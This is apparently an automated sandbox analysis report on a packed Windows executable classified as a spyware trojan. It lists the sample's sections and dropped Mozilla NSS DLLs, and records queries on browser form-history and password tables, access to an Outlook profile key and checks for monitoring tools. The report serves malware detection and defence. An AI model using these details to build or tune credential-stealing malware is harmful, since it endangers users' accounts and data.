Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6	0_2_00AA58C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A6E9A1	0_2_00A6E9A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0098318E	0_2_0098318E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0097695C	0_2_0097695C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA0A0C	0_2_00AA0A0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA227A	0_2_00AA227A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B7A62	0_2_009B7A62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA73EA	0_2_00AA73EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9ECD3	0_2_00A9ECD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0099ED13	0_2_0099ED13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA3D63	0_2_00AA3D63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9B686	0_2_00A9B686
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAAE02	0_2_00AAAE02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009DCF0A	0_2_009DCF0A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6635A0	0_2_6C6635A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675440	0_2_6C675440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D545C	0_2_6C6D545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D542B	0_2_6C6D542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DAC00	0_2_6C6DAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5C10	0_2_6C6A5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2C10	0_2_6C6B2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D4E0	0_2_6C66D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6CF0	0_2_6C6A6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6764C0	0_2_6C6764C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D4D0	0_2_6C68D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C34A0	0_2_6C6C34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CC4A0	0_2_6C6CC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C676C80	0_2_6C676C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67FD00	0_2_6C67FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68ED10	0_2_6C68ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690512	0_2_6C690512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C85F0	0_2_6C6C85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A0DD0	0_2_6C6A0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D6E63	0_2_6C6D6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C670	0_2_6C66C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2E4E	0_2_6C6B2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684640	0_2_6C684640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C689E50	0_2_6C689E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A3E50	0_2_6C6A3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C9E30	0_2_6C6C9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B5600	0_2_6C6B5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A7E10	0_2_6C6A7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D76E3	0_2_6C6D76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66BEF0	0_2_6C66BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67FEF0	0_2_6C67FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C4EA0	0_2_6C6C4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CE680	0_2_6C6CE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C685E90	0_2_6C685E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679F00	0_2_6C679F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A7710	0_2_6C6A7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66DFE0	0_2_6C66DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696FF0	0_2_6C696FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B77A0	0_2_6C6B77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AF070	0_2_6C6AF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688850	0_2_6C688850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D850	0_2_6C68D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB820	0_2_6C6AB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4820	0_2_6C6B4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C677810	0_2_6C677810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68C0E0	0_2_6C68C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A58E0	0_2_6C6A58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D50C7	0_2_6C6D50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6960A0	0_2_6C6960A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D960	0_2_6C67D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB970	0_2_6C6BB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DB170	0_2_6C6DB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68A940	0_2_6C68A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C9A0	0_2_6C66C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D9B0	0_2_6C69D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5190	0_2_6C6A5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2990	0_2_6C6C2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A9A60	0_2_6C6A9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C681AF0	0_2_6C681AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE2F0	0_2_6C6AE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8AC0	0_2_6C6A8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6622A0	0_2_6C6622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C694AA0	0_2_6C694AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67CAB0	0_2_6C67CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D2AB0	0_2_6C6D2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DBA90	0_2_6C6DBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C370	0_2_6C67C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665340	0_2_6C665340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AD320	0_2_6C6AD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D53C8	0_2_6C6D53C8

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6A94D0 appears 89 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C69CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 006E45C0 appears 316 times

Source: file.exe, 00000000.00000002.2278455441.000000006C8E5000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: pdfpgapg ZLIB complexity 0.9946878420106317

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2022166427.0000000005250000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6C7030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_006F9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_006F3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\H3WAZM7P.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2278330576.000000006C89F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2277886685.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2278330576.000000006C89F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2277886685.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2278330576.000000006C89F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2277886685.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2278330576.000000006C89F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2277886685.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: file.exe, 00000000.00000002.2250375452.000000000163E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT fieldname, value FROM moz_formhistoryz;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2278330576.000000006C89F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2277886685.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2277886685.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2278330576.000000006C89F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2277886685.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2117982785.000000001D880000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2103503087.000000001D864000.00000004.00000020.00020000.00000000.sdmp, GDBKJDGIJECFIEBFIDHC.0.dr, HIIEBAFCBKFIDGCAKKKF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2277886685.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2263292809.000000001D965000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2277886685.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1793536 > 1048576

Source: file.exe

Static PE information: Raw size of pdfpgapg is bigger than: 0x100000 < 0x18fc00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2278330576.000000006C89F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2278330576.000000006C89F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.6e0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;pdfpgapg:EW;rxeiizmb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;pdfpgapg:EW;rxeiizmb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006F9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006F9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c04e4 should be: 0x1bc14b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pdfpgapg
Source: file.exe	Static PE information: section name: rxeiizmb
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABC0AE push edi; mov dword ptr [esp], 241F7AA1h	0_2_00ABD695
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B270BA push 0120B895h; mov dword ptr [esp], ebx	0_2_00B270E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B4B8BB push ebx; mov dword ptr [esp], eax	0_2_00B4B8C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AAF8B2 push 0CBC0FFFh; mov dword ptr [esp], esi	0_2_00AAF94E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7A095 push edi; mov dword ptr [esp], esi	0_2_00B7A099
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AC60E1 push edx; mov dword ptr [esp], ebp	0_2_00AC6129
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006FB035 push ecx; ret	0_2_006FB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push 0BA983ABh; mov dword ptr [esp], esi	0_2_00AA592C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push 43C219D7h; mov dword ptr [esp], edi	0_2_00AA594D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push ebx; mov dword ptr [esp], eax	0_2_00AA5A0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push 0496E8DCh; mov dword ptr [esp], esi	0_2_00AA5A8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push 2817FE12h; mov dword ptr [esp], esi	0_2_00AA5AA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push ecx; mov dword ptr [esp], eax	0_2_00AA5AF2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push esi; mov dword ptr [esp], edi	0_2_00AA5B1E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push 3AC3040Bh; mov dword ptr [esp], esi	0_2_00AA5B5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push eax; mov dword ptr [esp], edx	0_2_00AA5BDC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push esi; mov dword ptr [esp], ebp	0_2_00AA5C3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push edi; mov dword ptr [esp], eax	0_2_00AA5C52
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push eax; mov dword ptr [esp], ecx	0_2_00AA5C8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push 2B8FBB7Ch; mov dword ptr [esp], ebp	0_2_00AA5C97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push ebp; mov dword ptr [esp], eax	0_2_00AA5CCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push 63DF11E9h; mov dword ptr [esp], edi	0_2_00AA5CF1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push 1C829511h; mov dword ptr [esp], edi	0_2_00AA5D77
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push ebx; mov dword ptr [esp], ebp	0_2_00AA5D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push esi; mov dword ptr [esp], ecx	0_2_00AA5DDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push esi; mov dword ptr [esp], eax	0_2_00AA5E6C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push ecx; mov dword ptr [esp], edx	0_2_00AA5E88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push 3FBBE29Ch; mov dword ptr [esp], ebx	0_2_00AA5EA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push edx; mov dword ptr [esp], ebp	0_2_00AA5EC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push edx; mov dword ptr [esp], 7FEE56EFh	0_2_00AA5EF9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA58C6 push eax; mov dword ptr [esp], edx	0_2_00AA5F1B

Source: file.exe

Static PE information: section name: pdfpgapg entropy: 7.953744882362791

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
